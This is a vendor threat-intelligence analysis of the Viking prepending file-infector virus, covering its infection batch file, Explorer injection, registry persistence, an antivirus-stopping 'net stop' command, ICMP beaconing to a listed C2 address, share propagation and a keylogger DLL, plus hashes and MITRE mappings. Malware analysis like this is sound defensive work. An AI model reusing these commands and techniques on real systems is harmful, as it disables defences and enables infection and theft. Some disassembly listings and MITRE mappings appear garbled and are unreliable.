



## **Viking Virus**

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Albeit a weathered and decelerated infection vector, file infectors harnessing the capabilities of hybrid payloads and crossbreeding propagation strategies are yet pervasive in nature. Viking, a file infector prepending virus subsuming backdoor & information theft routines has been able to withstand the test of time.

## Summary

Viking infects executable files on all available fixed hard drives and infects them by prepending its malicious code before the original file's body. However, the virus infects only Windows NT-based systems.

The infection starts by the virus creating a backup copy of itself in the current directory, then executing the original file followed by deleting it & renaming the dropped copy to the original filename. This is accomplished by making use of a temporary batch file dropped in the system's temporary folder.

The executable drops two other embedded executables in the system's 'Windows' folder, which in turn drops another DLL in the same directory. The DLL runs a keylogger and is also capable of downloading and running files from a website. The virus then scans all folders and subfolders for executables to infect and drops a file, '\_desktop.ini' in every infected folder which contains the current date. Upon execution of an infected file, the virus's infection routine infects other files, although, it removes itself from the file being executed, leaving it clean.

## Analysis

### - Execution

The files are packed with a generic packer & contain a section '.Upack' pertaining to the obfuscation.

The infection is initiated by the virus dropping the following three files, one in the system's 'Temp' directory & the rest in the system's 'Windows' directory.

- C:\Users\<>\AppData\Local\Temp\\$\$a1C1B.bat
- C:\Windows\Logo1\_.exe
- C:\Windows\rundl132.exe

Upon execution of the sample, the virus creates a backup copy of itself in the current directory by the name [filename].exe.exe, then executing the original file, [filename].exe followed by deleting it & renaming the dropped copy to the original filename. The batch file, '\$\$a1C1B.bat' (Figure 1) is used to carry out the operations.

```
:try1
Del "C:\Users\cuckoo2\AppData\Local\Temp\2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe"
if exist "
    C:\Users\cuckoo2\AppData\Local\Temp\2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe"
    goto try1
ren "
    C:\Users\cuckoo2\AppData\Local\Temp\2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe.exe
    " "2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe"
if exist "
    C:\Users\cuckoo2\AppData\Local\Temp\2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe.exe
    " goto try2
"C:\Users\cuckoo2\AppData\Local\Temp\2694e399ed931a811067f05499aed0e14184d369ba50476262d8f3d42ff43fe4.exe"
:try2
del "C:\Users\cuckoo2\AppData\Local\Temp\$$aC090.bat"
```

Figure 1: Batch File

The two other executable files dropped in the 'Windows' folder, 'Logo1\_.exe' & 'rundl132.exe' are embedded in the main sample. These two executables run code which help in achieving persistence, infecting files further & announcing the infection to an attacker controlled server. 'Rundl132.exe', in turn, drops another DLL component of the infector, 'vDLL.DLL' which runs a

keylogger and is capable of downloading and running files from a website. The DLL is injected into the 'Explorer.exe' process for execution (Figure 2).

```

0040A364          L0040A364:          push    ebp
0040A365          55                  mov     ebp,esp
0040A366          8BEC               xor     ecx,ecx
0040A367          33C9               push   ecx
0040A368          51                  push   ecx
0040A369          51                  push   ecx
0040A36A          51                  push   ecx
0040A36B          51                  push   ecx
0040A36C          51                  push   ecx
0040A36D          51                  push   ecx
0040A36E          53                  push   ebx
0040A36F          33C0               xor     eax,eax
0040A370          55                  push   ebp
0040A371          6839A44000         push   L0040A439
0040A372          64FF3D             push   fs:[eax]
0040A373          64892D             mov     fs:[eax],esp
0040A374          6800070000         push   00000700h
0040A375          E8C9A0FFFF        call   jmp_KERNEL32_DLL!Isleep
0040A376          8055F8             lea    edx,[ebp-08h]
0040A377          8B544000         mov     eax,L0040A454
0040A378          E864A7FFFF        call   SUB_L004044F8
0040A379          8B45F8             mov     eax,[ebp-08h]
0040A37A          50                  push   eax
0040A37B          8055F0             lea    edx,[ebp-10h]
0040A37C          33C0               xor     eax,eax
0040A37D          E82283FFFF        call   SUB_L004026C4
0040A37E          8B45F0             mov     eax,[ebp-10h]
0040A37F          8055F4             lea    edx,[ebp-0Ch]
0040A380          E888A2FFFF        call   SUB_L00404638
0040A381          8B55F4             mov     edx,[ebp-0Ch]
0040A382          8045FC             lea    eax,[ebp-04h]
0040A383          59                  pop     ecx
0040A384          E8C38FFFFF        call   SUB_L0040337C
0040A385          8055EC             lea    edx,[ebp-14h]
0040A386          B868A44000         mov     eax,L0040A468
0040A387          E832A7FFFF        call   SUB_L004044F8
0040A388          8B55EC             mov     edx,[ebp-14h]
0040A389          8045FC             mov     ecx,[ebp-04h]
0040A38A          8040FC             mov     ecx,[ebp-04h]
0040A38B          B878A44000         mov     eax,SLP0040A478_d11
0040A38C          E87AF0FFFF        call   SUB_L0040A250
0040A38D          8B45FC             mov     eax,[ebp-04h]
0040A38E          E85291FFFF        call   SUB_L00403530
0040A38F          8BC8              mov     ecx,eax
0040A390          B87CA44000         mov     edx,S$20040A47C_explorer_exe
0040A391          B88CA44000         mov     eax,S$20040A48C_EXPLORE_EXE
0040A392          E800B0FFFF        call   SUB_L004060FC
0040A393          84C0              test    al,al
0040A394          7422              jz     L0040A415

```

Figure 2: Injection in explorer.exe

The virus then scans all the folders and subfolders for executables (Figure 4) to infect, and drops a file, '\_desktop.ini' in every infected folder (Figure 3) which contains the current date in YYYY/MM/DD format.

```

00409718          B301              mov     b1,01h
00409719          8045E0             lea    eax,[ebp-20h]
0040971A          50                  push   eax
0040971B          E855A0FFFF        call   jmp_KERNEL32_DLL!GetLocalTime
0040971C          8055D0             lea    edx,[ebp-24h]
0040971D          0FB745E0         movzx  eax,[ebp-20h]
0040971E          E83580FFFF        call   SUB_L00404764
0040971F          FF750C             push   [ebp-24h]
00409720          68BC984000         push   SLP004098BC_
00409721          8055D8             lea    edx,[ebp-28h]
00409722          0FB745E2         movzx  eax,[ebp-1Eh]
00409723          E821B0FFFF        call   SUB_L00404764
00409724          FF7508             push   [ebp-28h]
00409725          68BC984000         push   SLP004098BC_
00409726          8055D4             lea    edx,[ebp-2Ch]
00409727          0FB745E6         movzx  eax,[ebp-1Ah]
00409728          E800B0FFFF        call   SUB_L00404764
00409729          FF7504             push   [ebp-2Ch]
0040972A          8045F8             lea    eax,[ebp-08h]
0040972B          B805000000         mov     edx,00000005h
0040972C          E88990FFFF        call   SUB_L004033F0
0040972D          8045F0             lea    eax,[ebp-10h]
0040972E          B9C8984000         mov     ecx,SLP004098C8__desktop_ini
0040972F          8B55FC             mov     edx,[ebp-04h]
00409730          E80590FFFF        call   SUB_L0040337C
00409731          8B45F0             mov     eax,[ebp-10h]
00409732          E875B1FFFF        call   SUB_L004048F4
00409733          84C0              test    al,al
00409734          0FB745E2         jz     L00409829

```

Figure 3: Function dropping desktop.ini

```

00409920          L00409920:      mov     dword ptr [esi],00000027h
00409920          C70627000000    push   esi
00409926          56              lea    edx,[ebp-0000014Ch]
00409927          8D95B4FEFFFF    mov     eax,88200409EFC__exe
00409928          B8FC9E4000     call   SUB_L00404750
00409932          E819AEFFFF     mov     ecx,[ebp-0000014Ch]
00409937          8B80B4FEFFFF    lea    eax,[ebp-00000148h]
00409938          8085B8FEFFFF    mov     edx,[ebp-04h]
00409943          8B55FC         call   SUB_L0040337C
00409946          E8319AFFFFF    mov     eax,[ebp-00000148h]
0040994B          8B85B8FEFFFF    call  SUB_L00403530
00409951          E8D99BFFFF     push   eax
00409956          50              jmp    _KERNEL32.DLL!FindFirstFileA
00409957          E8B499FFFF     mov     edi,eax
0040995C          8BF8          cmp    edi,FFFFFFFFh
0040995E          83FFFFFF       jz     L004099E9
00409961          0F8482000000   L00409967:      test   byte ptr [esi],01h
00409967          F60601        jz     L004099A6
0040996A          743A          push  00000000h
0040996C          6A00          lea    eax,[ebp-00000154h]
0040996E          8D85ACFEFFFF    lea    edx,[esi+2Ch]
00409974          8D562C        mov     ecx,00000104h
00409977          B904010000    call   SUB_L00403318
0040997C          E89799FFFF     mov     ecx,[ebp-00000154h]
00409981          8B8DACEFFFF    lea    eax,[ebp-00000150h]
00409987          8D85B0FEFFFF    mov     edx,[ebp-04h]
0040998D          8B55FC         call   SUB_L0040337C
00409990          E8E799FFFF     mov     eax,[ebp-00000150h]
00409995          8B85B0FEFFFF    call  SUB_L00403530
0040999B          E8D99BFFFF     push   eax
004099A0          50              jmp    _KERNEL32.DLL!SetFileAttributesA
004099A6          L004099A6:      lea    eax,[ebp-0000015Ch]
004099AC          8D562C        lea    edx,[esi+2Ch]
004099AF          B904010000    mov     ecx,00000104h
004099B4          E85F99FFFF     call   SUB_L00403318
004099B9          8B8DACEFFFF    mov     ecx,[ebp-0000015Ch]
004099BF          8D85A8FEFFFF    lea    eax,[ebp-00000158h]
004099C5          8B55FC         mov     edx,[ebp-04h]
004099C8          E8AF99FFFF     call   SUB_L0040337C
004099CD          8B85A8FEFFFF    mov     eax,[ebp-00000158h]
004099D3          E838FBFFFF     call   SUB_L00409510
004099D8          56              push  esi
004099D9          57              push  edi
004099DA          E839A9FFFF     call   jmp_KERNEL32.DLL!FindNextFileA

```

Figure 4: Function to infect executable files

The virus avoids infecting files if any strings in their paths or filenames match a list of hardcoded strings present in the malware (Figure 5).

00409F4C	737973746560	SLP00409F4C__system:	db	'system'	0040A014	5769E646F77355706+	SLP0040A014__WindowsUpdate:	db	'WindowsUpdate'
00409F52	0000	Align	4		0040A021	000000	Align	4	
00409F54	FFFFFFFF	dd	FFFFFFFFh		0040A024	FFFFFFFF	dd	FFFFFFFFh	
00409F58	08000000	dd	00000008h		0040A028	14000000	dd	00000014h	
00409F5C		SLP00409F5C__system32:	db	'system32'	0040A02C		SLP0040A02C__Windows_Media_Player:	db	'Windows Media Player'
00409F64	00000000	Align	4		0040A040	00000000	Align	8	
00409F68	FFFFFFFF	dd	FFFFFFFFh		0040A044	FFFFFFFF	dd	FFFFFFFFh	
00409F6C	07000000	dd	00000007h		0040A048	0F000000	dd	0000000Fh	
00409F70		SLP00409F70__windows:	db	'windows'	0040A04C		SLP0040A04C__Outlook_Express:	db	'Outlook Express'
00409F70	7769E646F7773	db	'windows'		0040A04C	4F75746C6F6F682D4578+	db	'Outlook Express'	
00409F77	00	Align	4		0040A058	00	Align	4	
00409F78	FFFFFFFF	dd	FFFFFFFFh		0040A05C	FFFFFFFF	dd	FFFFFFFFh	
00409F7C	16000000	dd	00000016h		0040A060	11000000	dd	00000011h	
00409F80		SLP00409F80__Documents_and_Settings:	db	'Documents and Settings'	0040A064		SLP0040A064__Internet_Explorer:	db	'Internet Explorer'
00409F80	446F637560656E74732D+	db	'Documents and Settings'		0040A064	496E7465726E65742D45+	db	'Internet Explorer'	
00409F96	0000	Align	4		0040A075	000000	Align	4	
00409F98	FFFFFFFF	dd	FFFFFFFFh		0040A078	FFFFFFFF	dd	FFFFFFFFh	
00409F9C	19000000	dd	00000019h		0040A07C	14000000	dd	00000014h	
00409FA0		SLP00409FA0__System_Volume_Information:	db	'System Volume Information'	0040A080		SLP0040A080__ComPlus_Applications:	db	'ComPlus Applications'
00409FA0	5379737465602D566F6C+	db	'System Volume Information'		0040A080	436F6D506C75732D4170+	db	'ComPlus Applications'	
00409FB9	000000	Align	4		0040A094	00000000	Align	4	
00409FBC	FFFFFFFF	dd	FFFFFFFFh		0040A098	FFFFFFFF	dd	FFFFFFFFh	
00409FC0	08000000	dd	00000008h		0040A09C	0A000000	dd	0000000Ah	
00409FC4		SLP00409FC4__Recycled:	db	'Recycled'	0040A0A0		SLP0040A0A0__NetMeeting:	db	'NetMeeting'
00409FC4	52656379636C6564	db	'Recycled'		0040A0A0	4E65744D656574696E67	db	'NetMeeting'	
00409FC8	00000000	Align	4		0040A0A8	0000	Align	4	
00409FD0	FFFFFFFF	dd	FFFFFFFFh		0040A0AC	FFFFFFFF	dd	FFFFFFFFh	
00409FD4	05000000	dd	00000005h		0040A0B0	0C000000	dd	0000000Ch	
00409FE0		SLP00409FE0__uinit:	db	'uinit'	0040A0B4		SLP0040A0B4__Common_Files:	db	'Common Files'
00409FE0	7769E6E674	db	'uinit'		0040A0B4	436F6D6C6F6E2D46696C+	db	'Common Files'	
00409FD0	000000	Align	4		0040A0C0	00000000	Align	8	
00409FE4	FFFFFFFF	dd	FFFFFFFFh		0040A0C4	FFFFFFFF	dd	FFFFFFFFh	
00409FE4	0F000000	dd	0000000Fh		0040A0C8	09000000	dd	00000009h	
00409FE8		SLP00409FE8__Program_Files_:	db	'Program Files'	0040A0CC		SLP0040A0CC__Messenger:	db	'Messenger'
00409FE8	5C5D726F6772616D2046+	db	'Program Files'		0040A0CC	4D6573736566676572	db	'Messenger'	
00409FF7	00	Align	4		0040A0D5	000000	Align	4	
00409FF8	FFFFFFFF	dd	FFFFFFFFh		0040A0D8	FFFFFFFF	dd	FFFFFFFFh	
00409FFC	0A000000	dd	0000000Ah		0040A0DC	10000000	dd	00000010h	
0040A000		SLP0040A000__Windows_NT:	db	'Windows NT'	0040A0E0		SLP0040A0E0__Microsoft_Office:	db	'Microsoft Office'
0040A000	5769E646F7732D4E54	db	'Windows NT'		0040A0E0	4D6963226F736F6742D+	db	'Microsoft Office'	
0040A004	0000	Align	4		0040A0F0	00000000	Align	8	
0040A00C	FFFFFFFF	dd	FFFFFFFFh		0040A0F4	FFFFFFFF	dd	FFFFFFFFh	
0040A010	00000000	dd	00000000h		0040A0F8	26000000	dd	00000026h	

Figure 5: Strings avoided in File & path names during infection

### - Persistence


The malware adds the following registry value to achieve automatic execution at every system startup:

```
HKU\S-1-5-21-1469219667-2966600018-1877350481-1001\Software\Microsoft\Windows NT\CurrentVersion\Windows\load: "C:\Windows\rundl132.exe"
```

### - Antivirus Termination

It also terminates 'Kingsoft AntiVirus Service' to evade detection using the command line (Figure 6). The following command is executed:

```
'net stop "Kingsoft AntiVirus Service"'
```



```
00407A8A          L00407A8A:
00407A8A  E8F5260000    call     SUB_L0040A184
00407A8F  84CD         test    al,al
00407A91  0F85E2000000  jnz     L00407B79
00407A97  E83CECFFFF    call    SUB_L004066D8
00407A9C  E8B3E7FFFF    call    SUB_L00406254
00407AA1  6A00         push   00000000h
00407AA3  68BC7B4000    push   SSZ00407B8C_net_stop_Kingsoft_AntiVirus_Ser
00407AA8  E8C8C9FFFF    call    jmp_KERNEL32.DLL!WinExec
00407AAD  B8EC7B4000    mov    eax,SLP00407BEC_6_
00407AB2  E8D900FFFF    call    SUB_L00404B90
00407AB7  C6052090410000  mov    byte ptr [L00419020],00h
00407ABE  8D45FC       lea   eax,[ebp-04h]
00407AC1  5D         push  eax
00407AC2  6A00         push  00000000h
00407AC4  6A00         push  00000000h
00407AC6  6864A34000    push   L0040A364
00407ACB  6A00         push  00000000h
00407ACD  6A00         push  00000000h
00407ACF  E804C8FFFF    call    jmp_KERNEL32.DLL!CreateThread
00407AD4  A160B14000    mov    eax,[L0040B160]
00407AD9  F6401C01     test   byte ptr [eax+1Ch],01h
00407ADD  741F       jz     L00407AFE
00407ADF  C6052190410000  mov    byte ptr [L00419021],00h
00407AE6  8D45F8       lea   eax,[ebp-08h]
00407AE9  5D         push  eax
00407AEA  6A00         push  00000000h
00407AEC  6A00         push  00000000h
00407AEE  68A8A44000    push   L0040A4A8
00407AF3  6A00         push  00000000h
00407AF5  6A00         push  00000000h
00407AF7  E80CC7FFFF    call    jmp_KERNEL32.DLL!CreateThread
00407AFC  EB07       jmp    L00407B05
00407AFE          L00407AFE:
00407AFE  C6052190410001  mov    byte ptr [L00419021],01h
```

Figure 6: Antivirus Termination

### - Network Communication

The virus announces the infection to a controlled server, '[154.92.223.77](http://154.92.223.77)' by sending a 'Hello World' packet. The network communication is established by communicating over ICMP packets (Figure 7).

Viking also tries to propagate via network shares & copies itself to shared folders, 'admin\$' & 'ipc\$' (Figure 8) with administrator & guest accounts.

```

004083AC          L004083AC:
004083AC  A1E8C74000      mov     eax,[L0040C7E8]
004083B1  8855D4          mov     edx,[ebp-2Ch]
004083B4  8B0490          mov     eax,[eax+edx*4]
004083B7  8945FC          mov     [ebp-04h],eax
004083BA  8845D0          mov     eax,[ebp-30h]
004083BD  8D55FC          lea    edx,[ebp-04h]
004083C0  83C2D3          add     edx,00000003h
004083C3  3A02           cmp     al,[edx]
004083C5  0F845F010000   jz     L0040852A
004083C8  8B02           mov     [edx],al
004083CD  8845D0          mov     eax,[ebp-24h]
004083D0  33C9           xor     ecx,ecx
004083D2  BA20000000     mov     edx,00000020h
004083D7  E888A3FFFF     call   SUB_L00402794
004083DC  8845D0          mov     eax,[ebp-24h]
004083DF  8B55E0          mov     edx,[ebp-20h]
004083E2  895010          mov     [eax+10h],edx
004083E5  B804854000     mov     ebx,88200408504_Hello_World
004083E8  8D45E4          lea    eax,[ebp-1Ch]
004083ED  33C9           xor     ecx,ecx
004083EF  BA08000000     mov     edx,00000008h
004083F4  E898A3FFFF     call   SUB_L00402794
004083F9  C645E440       mov     byte ptr [ebp-1Ch],40h
004083FD  88E8030000     mov     eax,000003E8h
00408402  33D2           xor     edx,edx
00408404  55            push   ebp
00408405  6820854000     push   L0040852D
0040840A  64FF32         push   fs:[edx]
0040840D  648922         mov     fs:[edx],esp
00408410  50            push   eax
00408411  8B45D8          mov     eax,[ebp-28h]
00408414  50            push   eax
00408415  8845D0          mov     eax,[ebp-24h]
00408418  50            push   eax
00408419  8D45E4          lea    eax,[ebp-1Ch]
0040841C  50            push   eax
0040841D  6A08           push   00000008h
0040841F  53            push   ebx
00408420  8B45FC          mov     eax,[ebp-04h]
00408423  50            push   eax
00408424  8B45F4          mov     eax,[ebp-0Ch]
00408427  50            push   eax
00408428  FF55EC         call   [ebp-14h]
0040842B  8B45D0          mov     eax,[ebp-24h]

```

Figure 7: 'Hello\_World' packet sent to announce infection

```

00408942  33C0           xor     eax,eax
00408944  55            push   ebp
00408945  68108D4000     push   L00408D1D
0040894A  64FF30         push   fs:[eax]
0040894D  64892D         mov     fs:[eax],esp
00408950  33C0           xor     eax,eax
00408952  8945F4          mov     [ebp-0Ch],eax
00408955  33C0           xor     eax,eax
00408957  55            push   ebp
00408958  68C98C4000     push   L00408CC9
0040895D  64FF30         push   fs:[eax]
00408960  64892D         mov     fs:[eax],esp
00408963  682C8D4000     push   SLP00408D2C_
00408968  FF75FC         push   [ebp-04h]
0040896B  68388D4000     push   SLP00408D38_ipc_
00408970  8D45EC         lea    eax,[ebp-14h]
00408973  BA03000000     mov     edx,00000003h
00408978  E873A8FFFF     call   SUB_L004033FD
0040897D  33C0           xor     eax,eax
0040897F  8945AC          mov     [ebp-54h],eax
00408982  33C0           xor     eax,eax
00408984  8945B8          mov     [ebp-48h],eax
00408987  8B45EC          mov     eax,[ebp-14h]
0040898A  E8A1A8FFFF     call   SUB_L0040353D
0040898F  8BF0          mov     esi,eax
00408991  8975BC          mov     [ebp-44h],esi
00408994  33C0           xor     eax,eax
00408996  8945C4          mov     [ebp-3Ch],eax
00408999  BA408D4000     mov     edx,88200408D40_administrator
0040899E  B814C84000     mov     eax,L0040C814
004089A3  E868BCFFFF     call   SUB_L0040461D

```

Figure 8: Viking copies itself to shared folders for network propagation

### - Keylogger Capabilities

The DLL component of Viking runs a keylogger (Figure 9) & captures user input which is later exfiltrated to the C2 server, along with the victim system information including the computer name & processor specifications.

```

00402885 8D4000                Align      4
00402888                jmp_USER32.DLL!GetKeyboardType:
00402888 FF2540A14100         jmp       [USER32.DLL!GetKeyboardType]
0040288E 8BC0                Align      4
00402890                SUB_L00402890:
00402890 53                push      ebx
00402891 330B                xor       ebx,ebx
00402893 6A00                push     00000000h
00402895 E8EFFFFFFF         call     jmp_USER32.DLL!GetKeyboardType
0040289A 83F807             cmp      eax,00000007h
0040289D 751C             jnz      L004028BB
0040289F 6A01             push     00000001h
004028A1 E8E2FFFFFF         call     jmp_USER32.DLL!GetKeyboardType
004028A6 2500FF0000        and      eax,0000FF00h
004028AB 3000000000        cmp      eax,00000000h
004028B0 7407             jz       L004028B9
004028B2 3D00040000        cmp      eax,00000400h
004028B7 7502             jnz      L004028BB
004028B9                L004028B9:
004028B9 B301             mov      bl,01h
004028BB                L004028BB:
004028BB 8BC3             mov      eax,ebx
004028BD 5B             pop      ebx
004028BE C3             retn

```

Figure 9: DLL component runs a Keylogger

### Subex Secure Protection

Subex Secure detects the Viking prepending virus as 'SS\_Gen\_Viking\_PE\_A'.

### Sample Details

1.	2694e399ed931a8111067f05499aed0e14184d369ba50476262d8f3d42ff43fe4
2.	ace170a3928a41b38026017f5cd4ec42d3bfd900f21f44c2a1e6d53d13edad80
3.	f1fe3a98cf3017a037ede5104baefddfe120513c22d3cc6c398fa50732103ec1
4.	dd3dbe3b41affedfb52705278c095755a99031900f2397eeb509eb30f9e0301

### Analysed Sample

Viking Main Executable	d9eade75e518762affc09f318c944fef
Embedded Exe (Logo1_.exe)	5ad9d686420dc3fa331af7603a5fd3de
Embedded Exe (rundll132.exe)	5b1123cfbb6e5ef974a6d484766bb6fe
DLL Component (vdll.dll)	44d0d7cb8233379ae1a0e2190faf720d

### Network Communication

1.	154.92.223.77
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### MITRE Attack Techniques

TACTIC	ID	NAME
Execution	T1173	Dynamic Data Exchange
Execution	T1059	Command Line Interface
Privilege Escalation	T1055	Process Injection

Persistence	T1179	Hooking
Persistence	T1215	Kernel Module & Extensions
Defence Evasion	T1112	Modify Registry
Defence Evasion	T1036`	Masquerading
Discovery	T1057	Process Discovery
Discovery	T1083	File and Directory Discovery
Discovery	T1010	Application Window Discovery
Discovery	T1012	Query Registry
Privilege Escalation	T1076	Remote Desktop Protocol
Execution	T1043	Commonly Used Port
Discovery	T1489	Service Stop
Discovery	T1082	System Information Discovery
Collection	T1056.001	Keylogger

### **Our Honeypot Network**

This report has been prepared from threat intelligence gathered by our honeypot network. This honeypot network is today operational in 62 cities across the world. These cities have at least one of these attributes:

- Are landing Centers for submarine cables
- Are internet traffic hotspots
- House multiple IoT projects with a high number of connected endpoints
- House multiple connected critical infrastructure projects
- Have academic and research Centers focusing on IoT
- Have the potential to host multiple IoT projects across domains in the future

Over 3.5 million attacks a day is being registered across this network of individual honeypots. These attacks are studied, analysed, categorized, and marked according to a threat rank index, a priority assessment framework that we have developed within Subex. The honeypot network includes over 4000 physical and virtual devices covering over 400 device architectures and varied connectivity mediums globally. These devices are grouped based on the sectors they belong to for purposes of understanding sectoral attacks. Thus, a layered flow of threat intelligence is made possible.